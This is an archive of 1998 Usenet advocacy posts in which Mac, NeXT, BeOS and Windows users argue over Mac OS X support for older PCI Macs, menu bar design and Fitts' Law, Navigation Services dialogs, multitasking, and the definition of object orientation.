> Microsoft doesn't depend on new hardware purchases.
So we should just accept that we have to buy a news machine every time Apple
wants to improve it's bottom line?
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: mcox@ihug.co.nz (Martin Cox)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Thu, 23 Jul 1998 07:10:51 +1200
Organization: As little as possible.
Message-ID: <mcox-ya02408000R2307980710510001@newsource.ihug.co.nz>
References: <joe.ragosta-2007982116060001@elk57.dol.net> <B1DA7956-48FFC@206.165.43.17> <MPG.101f2d847d70bf3c9899dc@news.supernews.com> <mcox-ya02408000R2207981824140001@newsource.ihug.co.nz> <not-2207981037460001@ip-26-093.phx.primenet.com>
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In article <not-2207981037460001@ip-26-093.phx.primenet.com>,
not@a.valid.email.add (Michael M. Eilers) wrote:
>But you can't make such an extimation--no one can. Not even Apple really
>knows how long it would take them to troubleshoot and debug even a small
>set of the existing PCI Mac hardware. I'm willing to bet it would be more
>like 6-8 than 3 to 4, at the very least.
It wasn't an estimation - it was a statement of how long I personally would
be willing to wait. If it takes a year, then I personally wouldn't wait
that long. You're right in that I have no idea how long it would take,
though like many others I genuinely can't see that it would be a _huge_
undertaking. After all, it's _not_ like Windows - Apple _knows_ all the
specs of _all_ its own motherboard designs, unlike MS where they have to
guess at countless clone makeups.
Equally, what makes your estimate any more valid than any of the others
that have been posted? Been working in the Apple QA environment long have
you?
>It wouldn't be a few months, no matter how much money you threw at the
>problem. OSs do not write themselves, and adding more people to the team
>wouldn't neccesarily speed things up.
I'm not necessarily talking about speeding it up. What I _said_ was that
perhaps a team of people working on PCI PM compatability once the first OS
X shipment _has_been_made_ would be viable. That way Apple has all its
people working on the main thrust (which must always be OS X getting out
the door) until such time as it is done. Once that is no longer a priority
they could perhaps return to expanding the machines OS X will work on.
>That was an unrealistic expectaion on your part, and I can't see how Apple
>is to blame for that. At the time you bought the machine Apple's situation
>as a company, CEO and future OS path were totally different.
(1) It _wasn't_ unrealisitic. It was how the machine was marketed, and how
it _does_ work (if you forget OS X for a moment). There's nothing a G3
PowerMac can do that my (aging?) 7500 can't do. Bus speed differences are
not significant enough yet to concern us. It's a perfectly reasonable
expectation.
(2) At _no_ point did I say "Apple were to blame" and I'd appreciate a
little less of the presumption of things I'm not saying.
Barring the 7200 series machines, everything 7x00 upwards (PCI based) was
designed to be expandable, and to have one hell of a long lifetime by
virtue of the CPU daughterboard and slots available. They are incredible
machines, and there are a lot of them out there in professional
environments.
Again, Apple _owes_ us nothing. But extending OS X to PCI PowerMacs would
be a large marketing coup, and a great boost to Apple's customer loyalty
base.
--
--
Martin Cox <mcox@ihug.co.nz>
The (Incomplete) VirtualPC User's Guide <http://shell.ihug.co.nz/~mcox/vpc/>
From: jsavard@tenMAPSONeerf.edmonton.ab.ca (John Savard)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: NT Takes Down the Navy, Sleep Well, America...
Date: Wed, 22 Jul 1998 18:57:25 GMT
Organization: Videotron Communications Ltd.
Message-ID: <35b63584.12830457@news.prosurfr.com>
References: <6p2iih$6k3@bgtnsc03.worldnet.att.net> <6p2kcq$kht$2@supernews.com> <6p2pia$rp2$1@nnrp1.snfc21.pbi.net> <1dcj03r.j9ies11bazb62N@p043.intchg1.net.ubc.ca>
bbennett@unixg.ubc.ca (Bruce Bennett) wrote, in part:
> "Because of politics, some things are being forced on us
> that without political pressure we might not do, like
> Windows NT," Redman said. "If it were up to me I probably
> would not have used Windows NT in this particular
> application. If we used Unix, we would have a system that
> has less of a tendency to go down."
That I can believe. There are commercial versions of Unix that are
specifically designed for mission-critical applications. And Unix _is_
a standard, after all (or, to get more technical, POSIX is a standard
- of course, Windows NT complies with that standard in a certain
manner).
John Savard
http://www.freenet.edmonton.ab.ca/~jsavard/index.html
Date: Wed, 22 Jul 1998 15:11:20 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Message-ID: <joe.ragosta-2207981511200001@wil55.dol.net>
References: <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <see-below-2007981842580001@dynamic53.pm04.mv.best.com> <id_est-2007982313050001@192.168.1.3> <35B3AFAA.16BA@earthlink.net> <6p2m3h$6q8$3@news01.deltanet.com> <Pine.SOL.3.96.980722113521.22438G-100000@ux8.cso.uiuc.edu>
In article <Pine.SOL.3.96.980722113521.22438G-100000@ux8.cso.uiuc.edu>,
Pulsar <tokarek@uiuc.edu> wrote:
> This is just the thing. Mac OS X drops support for machines
> already supported by Rhapsody. Mac OS X has the same foundations (updated
> and modified, but not as drastically different as Mac OS->Rhapsody).
Don't underestimate the changes:
New driver architecture
New kernel
New (carbon) APIs
New graphics system
To complicate matters, the testing for Mac OS X will be much more
complicated than the testing for Rhapsody. Rhapsody (based on its new
name--Mac OS X Server) is designed for server apps and only needs to be
tested on a limited number of server apps. Mac OS X (client) needs to be
tested on hundreds or thousands of Carbonized Mac OS apps.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Wed, 22 Jul 1998 11:30:39 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R2207981130390001@news>
References: <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <1dchpf0.x2f9hed1v9sgN@rhrz-isdn3-p37.rhrz.uni-bonn.de> <Pine.SOL.3.96.980721100007.9943A-100000@ux7.cso.uiuc.edu> <1dcj69z.1o563yq97eq68N@rhrz-isdn3-p14.rhrz.uni-bonn.de> <OE6t1.1444$E5.7167658@proxye1.san.rr.com>
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In article <OE6t1.1444$E5.7167658@proxye1.san.rr.com>, "Ed Deans."
<eadeans@san.rr.com> wrote:
> Michael Schuerig wrote in message
> >
> >Paul M. Fitts
> >"The Information Capacity of the Human Motor System in Controlling the
> >Amplitude of Movement"
> >_Journal of Experimental Psychology_, Vol. 47, No. 6, June 1954
> >
> >What it comes down to is this: The "information capacity" of our motor
> >system is limited. The faster a movement is executed and the more
> >alternative movements there are, the higher the information capacity has
> >to be.
> >
> >It bears on menubars, in that there are fewer movement alternatives for
> >a global menubar than for one floating somewhere in the middle of the
> >screen.
>
> That must be exactly why Pink/Taligent dropped the global menu bar in favor
> of the NeXT-style menu palette as default (the menu is configurable to an
> Apple-style menu bar).
>
> It must be why only Apple, among the commercial OS's with GUI's, is shipping
> with a global menu bar.
Fallacious logic. "If it is really the best UI option, then everybody would
be using it." By that logic, Windows 3.1 is the best UI. Maybe Apple is the
only one who has really paid attention to Fitts' Law. Who knows? But you
can't just say, "Apple is the only one with a global menubar, so Fitts' Law
must be invalid."
> There's no affordance in the Mac menu bar under the
> Platinum appearance. There is under Hi-Tech but not Gizmo. It is a learned
> behavior just like the window widget's uses.
Please define "affordance" in this context.
> The menu bar is also less idea in large screen situation. There's a
> lot of mouse travel on a 20" screen or even a 17" above 1024x786.
Fitts' Law basically discounts these problems, since in this case the
distance to the target is far outweighed by the size of the target.
> Why does any UI discussion in these groups degrade into
> my-menu-system-is-better-than-your-menu-system? Isn't it pretty much set
> into stone that Mac OS X will support both the floating palette version and
> the Mac-alike menu bar version with tear off menus?
But people seem to use the fixed menu bar as an example that the Mac UI is
"stagnant," when in fact it is still in many ways the best implementation.
Andy Bates.
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Wed, 22 Jul 1998 07:43:47 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6p457j$l0d$1@nnrp1.dejanews.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <joe.ragosta-2007981850280001@elk61.dol.net> <1dciwhu.mt0pxg1hofrbwN@du137-242.ppp.algonet.se> <MPG.101edc88c6da7b4a9899d6@news.supernews.com>
In article <MPG.101edc88c6da7b4a9899d6@news.supernews.com>,
don.brown@cesoft.com (Donald Brown) wrote:
> Given that the OSes in greatest use are Win 3.1, Win95, and MacOS, all of
> which have that weakness, there are a lot of people who find it
> acceptable.
Win95 has the problem to a much smaller degree than the MacOS.
--
Brian Quinlan
quinlan@intergate.bc.ca
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From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Wed, 22 Jul 1998 14:24:16 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980722135746.12616B-100000@ux9.cso.uiuc.edu>
References: <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <1dchpf0.x2f9hed1v9sgN@rhrz-isdn3-p37.rhrz.uni-bonn.de> <Pine.SOL.3.96.980721100007.9943A-100000@ux7.cso.uiuc.edu> <1dcj69z.1o563yq97eq68N@rhrz-isdn3-p14.rhrz.uni-bonn.de> <Pine.SOL.3.96.980721144202.19564A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2207981027570001@news>
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In-Reply-To: <andyba-ya02408000R2207981027570001@news>
On Wed, 22 Jul 1998, Andy Bates wrote:
> In article <Pine.SOL.3.96.980721144202.19564A-100000@ux7.cso.uiuc.edu>,
> Pulsar <tokarek@uiuc.edu> wrote:
>
> > On Tue, 21 Jul 1998, Michael Schuerig wrote:
> >
> > > You can bet that someone will put out an extension that transparently
> > > slips in Nav Services for apps that don't support them, yet.
> >
> > That's doubtful. Even if they get some of the look down, they will most
> > likely be unable to make them non-system modal. That is the biggest flaw
> > to the current Open/Save dialogs (IMO).
>
> No, you don't understand: the current Navigation Services dialogs ARE
> non--system modal! If someone can make an extension that allows current
> apps to use the new dialogs, then they will work the way you desire.
I understand roughly what this would entail. It is not possible to create
such an extension.
The Navigation Services dialogs are non-system modal because Apple has
created a new API and told developers that these dialogs will not be
modal. Developers wanting to make use of Navigations Services will have to
_rewrite_ their code. Developers who do not do so will use the same old
Open/Save dialogs.
Patching the old Open/Save API functions will do not fix the system-modal
problem because applications do not know that it's not modal anymore. It
is the application that determines that a mouse click happened somewhere
outside any of its windows and it is the application that must start a
major context switch that results in putting another application in the
foreground. The operating system does not do this. Even if the OS knows
that a window is not modal, if the application thinks it is, nothing will
happen when you click outside of it.
If it were possible to make these non-system modal, why do you think that
nobody has done it yet? It certainly isn't because nobody has come up
with the idea. That has always been one of the biggest complaints about
Open/Save dialogs for as long as I remember.
> > There's certainly a venting aspect.
> >
> > There will still be a reason to complain since support for Navigation
> > Services will be spotty at best. Eventually most apps will switch over,
> > but we will have to deal with the old style ones for quite a while
> > yet.
>
> So what? Now that the new Navigation Services are available, you can't
> blame Apple if adoption is slow.
I can blame Apple for sitting on its hands for years and I can take that
behavior as an indication of what it will continue to do.
> > I do believe that there are serious flaws in the Mac UI that could be
> > addressed. For a few things I have ideas, others are soon to be addressed,
> > and other things I don't have any idea what to do about.
>
> And I believe that Apple is probably looking at most of these flaws as well.
Possibly, but there is no evidence that they will be fixed any time soon.
They certainly won't be fixed with Mac OS 8.5.
> > Apple started off with the Mac by introducing a revolutionary concept to
> > the computer world. Instead of continuing the revolution or rekindling it
> > at some point, Apple has stagnated.
>
> Okay, here's where you and I disagree. A lack of significant change does
> not equal "stagnation." Would you say that the automobile UI has
> "stagnated" because all the pedals are where they used to be 50 years ago?
Yes. That's not necessarily a very bad thing in this case. The situation
of cars and of computers is somewhat different. If you argue that we
should stick to the same old UI because that's what we've done with cars,
then the transition from CLI->GUI should never have happened.
Perhaps the use of a joystick would be better than pedals and a steering
wheel. We are certainly in a generation where a lot of people understand
that way of manipulation (computer games for the last 15 years). It has
some potential advantages. A heads up display might be useful as well. I
think in some ways, the auto industry has stagnated too as far as UIs go.
> And do you think that during the UI planning meetings at Apple, they said,
> "Hey, let's come up with another revolution!"? No, of course not. You can't
> just "continue" a revolution, or "come up with" a revolutionary concept
> every few years because you want to.
Well, duh.
> Usually, a revolutionary concept is
> discovered or recognized in a flash of insight, not developed to satisfy a
> weekly status report. Rest assured, Apple has engineers thinking of these
> things, and the fact that they haven't come up with a "new" revolutionary
> concept is just a reflection that such concepts are difficult to think up.
>
> > The Mac UI's improvements have not
> > leapfrogged the competition.
>
> No new revolution. See above.
I'm not taking about a revolution in that case. I'm talking about other
OSes advancing swiftly while the Mac OS plods along keeping the most
glaring of flaws for years. While other OSes have advanced far further in
some areas than the Mac, the Mac OS shows little sign of catching up.
> > Other OSes have caught up in a lot of ways
> > and I'd like to see Apple at least fix the problems in the Mac UI even if
> > it has nothing revolutionary to introduce. Apple's current focus seems to
> > be on slapping different faces on the same old behaviors and making things
> > cluttered and ugly.
<snip>
>
> Nevertheless, having Themes in the OS addresses a need in the user
> community. It is not a UI change; it is simply the ability to put a new
> face on old behaviors. This is one way that other user interfaces have
> caught up to (or surpassed) the current Mac OS user experience, and like it
> or not, it is one of the most easily-noticeable changes to an interface. If
> the Hi-Tech theme gets more people to notice the (essentially unchanged)
> Mac UI, then I say keep it up. However, your belief that the appearance
> changes mean fewer UI changes seems unfounded.
How so? Instead of putting the resources into being able to make windows
into bulbous black blobs, Apple could have put more resources into
enhancing and adding to the Mac UI.
Themes and schemes are not a significant addition to the UI. They do not
change behaviors. It is just eye candy or perhaps pudding for the brain.
> > I think Apple has lost a lot of its drive to innovate in this area.
> > Apple's mishandling of Copland, a couple management changes and constant
> > restructuring have not helped, but there have been fewer and fewer useful
> > changes/fixes for the Mac UI. Most of what we have now is what we should
> > have had 4 years ago.
>
> Then doesn't it seem that Apple was stagnating four years ago, and is now
> catching up?
To a certain extent, but there were many UI features in NeXT for example
that were better than the Mac's which Apple has disabled in favor of the
flawed old Mac behavior. I consider that continued stagnation (at least in
some areas).
> Don't fault Apple for when UI changes "should have been"
> introduced.
Why in blazes not?!?
When there are well known and widely complained about flaws in the UI that
go unaddressed for years, should I not fault Apple for not doing anything
to fix them? Whom should I fault for that? Who else is responsible?
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Wed, 22 Jul 1998 07:41:51 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6p453v$l00$1@nnrp1.dejanews.com>
References: <6or4sj$83a$1@supernews.com> <alex-1807981924120001@castle.webis.net> <6ori3d$sbi$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ou35v$h4l$1@nnrp1.dejanews.com> <Josh.McKee-2107981925440001@pm3a2.rmac.net>
In article <Josh.McKee-2107981925440001@pm3a2.rmac.net>,
Josh.McKee@cbns.com (Joshua T. McKee) wrote:
> We've already gone over this. It's not the Mac, it's the programs. I
> demonstrated that the Mac is perfectly able to do various things at the
> same time, provided that the software co-operates.
But it's not really the programs fault. Say that you want to write a game
that relinquishes the processor to other applications periodically. How often
do you do it? Even second, every time through your rendering loop, something
else? The problem is that your program doesn't know what the processor
requirements for the other applications are so you may starve them or degrade
your own performance. And then there is the problem of where, in your
program, to call WaitNextEvent( ).
> And, that for most people, it
> is sufficient...thus, we feel no need to switch to another OS to gain that
> "advantage".
Maybe. A lot of DOS advocates said this about the Macintosh...
> Here's theory again...have you tried this? Not saying you're wrong, but
> someone else made a claim that turned out to be 100% wrong. Since you say
> "I bet", it sounds as if you've never tried it.
I've run StuffIt expander under Windows NT and the MacOS. Under Windows, you
can do other things during the decompress without any perceptable slow down of
either the other task or the decompress. The same isn't true of the MacOS
version.
> And even if you're
> correct, so what...we're probably not talking a large amount of time being
> wasted...certainly not enough to make a difference (though I could be
> wrong as I haven't tried it).
That would depend on the size of the file being decompressed.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
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From: Peter Stegemann <pst@cocoon.infra.de>
Newsgroups: comp.sys.mac.advocacy,comp.sys.be.advocacy,comp.sys.next.advocacy
Subject: Re: Be's had their own share of direction changes (was: Here we go again...)
Date: Wed, 22 Jul 1998 09:55:40 +0200
Organization: University of technology, Furtwangen, Germany
Message-ID: <35B59AFB.3E68@cocoon.infra.de>
References: <35AD3399.FF0BD03D@rauland.com> <35B093FC.1AF8@REMOVE.wayne.edu> <joe.ragosta-1807981004130001@elk79.dol.net> <yVhs1.685$lg2.5923889@news.magma.ca> <6otft7$b4j$1@nntp2.ba.best.com> <6ouffm$jqs$1@news10.ispnews.com> <6ouqr3$99$1@nntp2.ba.best.com> <Pine.LNX.3.95.980720094618.8608P-100000@rainier.virtual-impact.com> <6p052l$j3c$1@nntp2.ba.best.com> <6p1hlq$f44$2@news10.ispnews.com> <6p1ill$6s3$1@bunyip.cc.uq.edu.au> <6p1l6e$11l$1@news2.ispnews.com> <joe.ragosta-2107980820070001@0.0.0.0> <6p24r7$sfm$1@fir.prod.itd.earthlink.net> <joe.ragosta-2107981021270001@wil78.dol.net> <6p2o63$pr9$3@news5.ispnews.com>
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Earl Malmrose wrote:
> joe.ragosta@dol.net (Joe Ragosta) :
> >
> > And, no, I don't recall Earl making that complaint, but I never said that
> > he did.
> Well, since you brought MacOS into the discussion, I'd be glad to continue
> with it. VM swap file size is fixed under BeOS. But since BeOS boots in 10
You're kidding. If I want to reboot after changing the settings,
I use Windows. If I'm running out of swap while I'm working, this
is usualy because I piled a lot of work on my machine. So I DON'T
want to reboot and start my work from scratch.
--
--- Peter Stegemann - BeOS veteran and tiny god of de.comp.os.be
*sing* ... we had joy, we had fun, we had PACMAN for the SUN ..
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Wed, 22 Jul 1998 07:47:51 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6p45f7$l73$1@nnrp1.dejanews.com>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net>
In article <Josh.McKee-2107981856040001@pm3a15.rmac.net>,
Josh.McKee@cbns.com (Joshua T. McKee) wrote:
> > The Macintosh should get preemptive multitasking (with a variety of
> > scheduling methods possible). As a practical matter, Macintosh multitasking
> > is as useable, if not more, than Windows 95 multitasking.
>
> A statement I agree with 100%...it isn't perfect, but it's far from being
> as bad as people make it out to be.
Why don't you enumerate some instances where Windows 95 multitasking is
inferior to Mac OS multitasking?
--
Brian Quinlan
quinlan@intergate.bc.ca
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From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Static typing and dynamic binding
Date: 22 Jul 1998 19:58:11 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6p5g8j$bhm$1@news.cs.tu-berlin.de>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu> <6moqam$4os$1@nnrp1.dejanews.com> <359011E4.C8A51B95@cisco.com> <6n08oi$rrs$1@nnrp1.dejanews.com> <6mvtgs$hnm$3@ns3.vrx.net> <6n0mol$sh2$1@flotsam.uits.indiana.edu> <6n0ap7$r0e$1@ns3.vrx.net> <6n141n$tvf$1@flotsam.uits.indiana.edu> <6n11ie$du4$1@ns3.vrx.net> <6n1pko$v47$1@flotsam.uits.indiana.edu> <3594FE42.F137BD6B@nstar.net> <6n7no4$p6j$2@ns3.vrx.net> <3598248E.28605285@nstar.net> <6nabot$r2h$4@ns3.vrx.net> <
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lars.farm@ite.mh.se (Lars Farm) writes:
[HUGE SNIP]
Our conversation was getting a little fragmented, let me try to
first sum up what I think/hope the current state is:
You are looking for the minimal subset/essential core of OO.
You say that 'type', which you define as
a set of operations (pre/post)
a representation and
an implementation
is inescapable and that the set of all objects with a certain
type is a class. As it is inescapable, this 'type' has to
be part of the essential core of OO.
Operations cannot be viewed in isolation from particular
implementations of those operations in particular classes
(you said each individual operation is essentially unique).
You don't have a problem with vastly different operations
sharing the same name because the operation will be disambiguated
by specifying the exact class.
We both agree that dynamism can be used independently of OO, and
that non-dynamic OO is more restricted than what I would call
'full' OO.
Is that a fair assessment? Please correct me if it isn't.
Anyhow, one of the central questions seems to be 'what is type?'
This is actually a very difficult question, but there are simpler,
more concrete questions such as "is the representaion and the
implementation necessary for a notion of 'type' in the context
of OO languages?".
Other questions fall along the lines of "what do I gain with
a dynamic runtime, what do I lose, can I have one without the
other etc.?"
Shall we talk about those questions?
BTW, most Smalltalkers would agree with Bertrand that GC is essential
for OO. The minimum definition certainly implies GC. I'd say that
absence of GC is a further restriction, but one that can be worked-around
much better than lack of a dynamic runtime.
Marcel
--
Java and C++ make you think that the new ideas are like the old ones.
Java is the most distressing thing to hit computing since MS-DOS.
- Alan Kay -
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Wed, 22 Jul 1998 09:59:42 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R2207980959420001@news>
References: <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <JWMs1.1091$E5.6247799@proxye1.san.rr.com> <ericb-2007982116410001@128.84.203.147> <PbVs1.1389$E5.6653879@proxye1.san.rr.com> <Pine.SOL.3.96.980721103837.9943C-100000@ux7.cso.uiuc.edu> <hq6t1.1443$E5.7159109@proxye1.san.rr.com>
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In article <hq6t1.1443$E5.7159109@proxye1.san.rr.com>, "Ed Deans."
<eadeans@san.rr.com> wrote:
> Pulsar wrote in message ...
> >On Tue, 21 Jul 1998, Ed Deans. wrote:
> >
> >> Aliases aren't cleaned up when all copies of original item have been
> >> deleted.
> >
> >I'm not sure that they should be.
>
> Please tell me you are kidding. What good does an alias do if I've no
> longer got the original item? They should vanish with the original (unless
> the original is not local and that volume has not be mounted).
From the latest MacOS Rumors, talking about 8.5:
Apple has added some code to fix broken aliases when they are selected
from the Apple Menu. The feature doesn't seem to be found in other
parts of the finder, just the apple menu. I found this while testing a
utility i'm writing to find and fix broken aliases!
So it looks like, for the Apple Menu at least, aliases do fix themselves.
And as for what good an alias does if the original is gone...maybe you're
going to put the original back a little later, and you don't want to have
to put the alias back again, or you want a reminder to put it back. It just
shows that you can't (and shouldn't) second-guess the motives of the user,
and by trying to save them time now, you might actually be costing them
more time later. And personally, I think that having files just disappear
off of the hard drive might be confusing and disorienting.
Andy Bates.
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 22 Jul 1998 20:45:43 GMT
Organization: University of California at San Diego
Message-ID: <slrn6rcjrm.b9s.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <1dchpf0.x2f9hed1v9sgN@rhrz-isdn3-p37.rhrz.uni-bonn.de> <Pine.SOL.3.96.980721100007.9943A-100000@ux7.cso.uiuc.edu> <1dcj69z.1o563yq97eq68N@rhrz-isdn3-p14.rhrz.uni-bonn.de> <Pine.SOL.3.96.980721144202.19564A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2207981027570001@news> <Pine.SOL.3.96.980722135746.12616B-100000@ux9.cso.uiuc.edu>
On Wed, 22 Jul 1998 14:24:16 -0500, Pulsar <tokarek@uiuc.edu> wrote:
:Patching the old Open/Save API functions will do not fix the system-modal
:problem because applications do not know that it's not modal anymore. It
:is the application that determines that a mouse click happened somewhere
:outside any of its windows and it is the application that must start a
:major context switch that results in putting another application in the
:foreground. The operating system does not do this. Even if the OS knows
:that a window is not modal, if the application thinks it is, nothing will
:happen when you click outside of it.
Omigod. Kill it. Kill it now!
Nuke it from orbit. It's the only way to be sure.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: pit@iohk.SPAM-NOT.com (taiQ)
Message-ID: <FIiROLCWddLd-pn2-wV1nLvZtGQVN@localhost>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: '97 Mac entrant feels shafted <--but isn't
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <not-2007982335410001@ip-26-018.phx.primenet.com> <1dcj35g.1mmhw2af7vugwN@du137-242.ppp.algonet.se> <not-2107981133460001@ip-26-140.phx.primenet.com> <1dcjp6z.90onja1xhjce9N@du137-242.ppp.algonet.se> <35b53dee.0@news.depaul.edu>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Date: 22 Jul 1998 17:50:04 GMT
Organization: IBM.NET
On Wed, 22 Jul 1998 01:18:38, Jonathan W Hendry
<jhendry@shrike.depaul.edu> thought aloud:
> In comp.sys.next.advocacy Magnus Thoor <qwerty.x@algonet.se> wrote:
>
> > Amelio and company said shortly after NeXT was purchased that all Macs
> > shipping on and after 97-01-01 would run Apple's "next generation OS" (I
> > could probably dig up a quote from Apple's web-pages but I'm typing this
> > off-line). They did promise it alright.
>
> They didn't promise to support it for very long. If they'll run Rhapsody
> (er, Mac OS/X Server) then they've fulfilled the letter of the
> promise.
If Rhapsody (MOX Server) runs on _all_ hardware shipping on or after
the Jan '97 cut-off date they're clear, thanks to a technicality; i.e.
they changed their minds about Rhapsody being the long-awaited Mac OS
Classic upgrade (instead, it is turning into a Server with little
native application software support). They might even charge $500 or
so for it but who cares, Apple delivered, eh.
> > That's exactly what they said. "All Macs shipping on or after 97-01-01
> > will be able to run our next generation OS."
>
